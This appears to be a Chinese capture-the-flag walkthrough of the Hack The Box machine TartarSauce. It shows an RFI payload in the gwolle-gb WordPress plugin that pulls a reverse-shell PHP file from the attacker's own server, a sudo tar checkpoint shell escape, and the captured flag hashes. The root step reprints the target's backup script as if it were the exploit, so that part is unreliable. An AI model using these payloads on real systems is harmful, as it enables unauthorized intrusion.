0x01.信息收集
端口开放:
80/tcp open http
只开了80,但是扫描到了几个有意思的目录

Disallow: /webservices/tar/tar/source/
Disallow: /webservices/monstra-3.0.4/
Disallow: /webservices/easy-file-uploader/
Disallow: /webservices/developmental/
Disallow: /webservices/phpmyadmin/
几个目录看上去都很有意思,但实际上只有/webservices/monstra-3.0.4/能访问,其他几个都是404无法访问的,障眼法而已不用管,一开始我也在这里困惑了一些时间。
monstra是一个cms,查下历史漏洞,

是有的,不过,在最后也被证实为只是虚晃一枪,实际上根本利用不了。
0x02.远程文件包含(RFI)拿www shell
之后用feroxbuster扫目录可以得到/webservices/wp/这个目录。进入/webservices/wp/目录,看到是wordpress框架。

注意到连接指向的是域名tartarsauce.htb,所以需要本地修改/etc/hosts,添加一条记录,将10.10.10.88解析到tartarsauce.htb。不添加的话,网页会显示不正常。

接着直接上wpscan,
wpscan --url http://10.10.10.88/webservices/wp/ --enumerate p --plugins-detection aggressive
这里使用--plugins-detection参数的原因是,wpscan现在默认使用不那么激进的插件枚举,使用默认配置可能会漏扫,所以这里修改为激进的扫描模式。

找到名为gwolle-gb的插件,看一下这个插件的历史漏洞,如下,

查看漏洞细节,如下,是远程代码执行RFI,那只要包含本地一个恶意php反弹shell就行了。

构造如下命令,执行后可以得到一个www权限的shell:
http://10.10.10.88/webservices/wp/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php?abspath=http://your http server/
注意本地用来反弹shell的php文件必须命名为wp-load.php。
0x03.Sudo拿用户shell(tar)
sudo -l可以发现允许我们以onuma用户权限运行tar,tar的--checkpoin参数运行我们执行命令,那么构造如下命令:
sudo -u onuma tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
(虽然用了备份命令,实际并没有做出任何备份)
-c:创建新的档案文件,相当于打包(-x,相反的操作,拆包)
-f:使用档名,f之后直接加档名,中间不能加其他参数
--checkpoint=n:每写入n个记录之后设置一个检查点,在检查点可以执行任意的操作,操作由--checkpoint-action指定
exec:执行外部命令

user.txt:b2d6ec45472467c836f253bd170182c7
0x04.计划任务提权
用pspy监听当前正在运行的进程,

查看脚本内容,如下:

直接将如下sh脚本放在目标服务器执行,就可以得到flag:
#!/bin/bash
#-------------------------------------------------------------------------------------
# backuperer ver 1.0.2 - by ȜӎŗgͷͼȜ
# ONUMA Dev auto backup program
# This tool will keep our webapp backed up in case another skiddie defaces us again.
# We will be able to quickly restore from a backup in seconds ;P
#-------------------------------------------------------------------------------------
# Set Vars Here
basedir=/var/www/html
bkpdir=/var/backups
tmpdir=/var/tmp
testmsg=$bkpdir/onuma_backup_test.txt
errormsg=$bkpdir/onuma_backup_error.txt
tmpfile=$tmpdir/.$(/usr/bin/head -c100 /dev/urandom |sha1sum|cut -d' ' -f1)
check=$tmpdir/check
# formatting
printbdr()
{
for n in $(seq 72);
do /usr/bin/printf $"-";
done
}
bdr=$(printbdr)
# Added a test file to let us see when the last backup was run
/usr/bin/printf $"$bdr\nAuto backup backuperer backup last ran at : $(/bin/date)\n$bdr\n" > $testmsg
# Cleanup from last time.
/bin/rm -rf $tmpdir/.* $check
# Backup onuma website dev files.
/usr/bin/sudo -u onuma /bin/tar -zcvf $tmpfile $basedir &
# Added delay to wait for backup to complete if large files get added.
/bin/sleep 30
# Test the backup integrity
integrity_chk()
{
/usr/bin/diff -r $basedir $check$basedir
}
/bin/mkdir $check
/bin/tar -zxvf $tmpfile -C $check
if [[ $(integrity_chk) ]]
then
# Report errors so the dev can investigate the issue.
/usr/bin/printf $"$bdr\nIntegrity Check Error in backup last ran : $(/bin/date)\n$bdr\n$tmpfile\n" >> $errormsg
integrity_chk >> $errormsg
exit 2
else
# Clean up and save archive to the bkpdir.
/bin/mv $tmpfile $bkpdir/onuma-www-dev.bak
/bin/rm -rf $check .*
exit 0
fi
加上执行权限后运行,

root.txt:e79abdab8b8a4b64f8579a10b2cd09f9
最后提权这部分做的也比较潦草,不细写了,误人子弟。
0x05.补充
简要列几个不错的工具,
- 1.GTFOBins 是 Unix 二进制文件的精选列表,可用于绕过配置错误的系统中的本地安全限制。
- 2.pspy是一个命令行监听工具,旨在侦听进程而无需 root 权限。它允许您在执行时查看其他用户、cron 作业等运行的命令。
- 3.feroxbuster是一个命令行下工作的目录爆破工具,kali可使用apt install安装。
- 4.Linpeas是一个脚本,用于搜索在 Linux/Unix*/MacOS 主机上提升权限的可能路径。
0x06.总结
- 1.目录爆破(/webservices/wp/)
- 2.WordPress插件RFI反弹shell(激进的扫描方式)
- 3.Sudo拿用户shell(tar)
- 4.计划任务提权(/usr/spin/backuperer)
参考文章:
https://0xdf.gitlab.io/2018/10/20/htb-tartarsauce.html
https://0xw0lf.github.io/hackthebox/oscp-like/2020/07/24/HTB-TarTarSauce/
如何将反弹shell升级为完全shell:
- https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/
- https://null-byte.wonderhowto.com/how-to/upgrade-dumb-shell-fully-interactive-shell-for-more-flexibility-0197224/
参考视频:
https://www.youtube.com/watch?v=9MeBiP637ZA

Comments | NOTHING